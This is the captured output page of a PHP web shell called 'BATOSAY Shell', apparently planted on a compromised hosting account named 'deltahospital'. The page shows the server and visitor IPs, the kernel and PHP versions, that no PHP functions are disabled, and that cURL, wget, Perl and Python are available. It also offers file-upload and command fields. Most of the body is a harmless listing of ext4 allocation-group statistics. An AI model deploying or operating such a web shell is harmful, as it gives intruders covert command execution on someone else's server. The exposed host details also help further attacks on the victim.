BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.38
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/fs/ext4/loop0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/proc/self/root/proc/fs/ext4/loop0/mb_groups
#group: free  frags first [ 2^0   2^1   2^2   2^3   2^4   2^5   2^6   2^7   2^8   2^9   2^10  2^11  2^12  2^13  ]
#0    : 9289  105   17485 [ 65    34    63    69    44    25    21    17    13    0     0     0     0     0     ]
#1    : 17197 220   1650  [ 123   121   140   136   135   133   43    15    4     0     1     1     0     0     ]
#2    : 20750 182   896   [ 88    107   102   103   151   143   11    36    13    7     0     0     0     0     ]
#3    : 13063 212   2237  [ 97    111   126   122   178   177   1     1     2     0     0     1     0     0     ]
#4    : 11706 230   5983  [ 112   155   133   130   183   140   6     1     1     1     1     0     0     0     ]
#5    : 12273 227   1578  [ 99    135   122   123   190   189   9     0     1     1     0     0     0     0     ]
#6    : 16570 214   2399  [ 110   178   120   123   199   172   1     0     1     1     1     0     1     0     ]
#7    : 12755 246   3636  [ 115   164   122   130   182   130   0     1     0     1     1     1     0     0     ]
#8    : 19342 202   768   [ 108   151   113   106   168   153   17    6     12    6     0     1     0     0     ]
#9    : 12634 222   4881  [ 110   172   133   128   194   167   10    0     0     1     1     0     0     0     ]
#10   : 15060 176   2752  [ 72    88    77    79    139   136   12    1     5     0     1     0     1     0     ]
#11   : 19085 138   516   [ 57    66    62    65    109   108   12    1     15    2     1     1     1     0     ]
#12   : 21304 144   2432  [ 64    102   77    77    111   113   26    14    6     5     1     1     1     0     ]
#13   : 21676 156   1716  [ 70    73    81    84    125   119   21    26    17    3     2     1     0     0     ]
#14   : 22253 138   2016  [ 63    87    74    71    88    79    15    1     15    10    3     0     1     0     ]
#15   : 18780 214   896   [ 84    44    130   123   153   150   10    22    7     3     1     1     0     0     ]
#16   : 21942 196   640   [ 86    48    98    87    124   122   15    30    17    7     2     0     0     0     ]
#17   : 12310 272   3152  [ 142   194   145   142   229   192   4     0     0     0     0     0     0     0     ]
#18   : 17892 204   677   [ 102   159   102   103   175   158   15    0     9     0     1     0     1     0     ]
#19   : 19483 187   1280  [ 85    87    116   119   139   131   14    22    18    4     1     0     0     0     ]
#20   : 21439 144   619   [ 65    89    89    93    122   123   10    18    12    2     1     1     1     0     ]
#21   : 18759 176   832   [ 79    108   92    94    142   143   14    15    8     3     2     1     0     0     ]
#22   : 11606 254   5594  [ 112   135   144   139   210   173   0     1     0     1     0     0     0     0     ]
#23   : 10263 182   674   [ 83    18    64    88    92    81    16    16    4     2     0     0     0     0     ]
#24   : 13869 285   2385  [ 143   63    164   142   182   164   39    1     0     0     1     0     0     0     ]
#25   : 13645 223   832   [ 109   148   116   119   181   155   0     1     1     1     1     1     0     0     ]
#26   : 13097 188   7504  [ 105   122   117   121   143   98    0     0     1     1     1     0     1     0     ]
#27   : 13244 238   1638  [ 110   167   122   127   206   186   6     1     0     1     1     0     0     0     ]
#28   : 18689 170   2528  [ 77    104   95    99    151   151   2     1     18    2     0     0     1     0     ]
#29   : 19170 207   768   [ 100   93    113   100   152   143   6     26    7     2     2     1     0     0     ]
#30   : 11874 201   6237  [ 88    139   119   123   162   131   1     1     2     1     0     1     0     0     ]
#31   : 15018 199   5200  [ 88    111   115   113   172   149   1     1     0     1     1     0     1     0     ]

Batosay - 2023
IDNSEO Team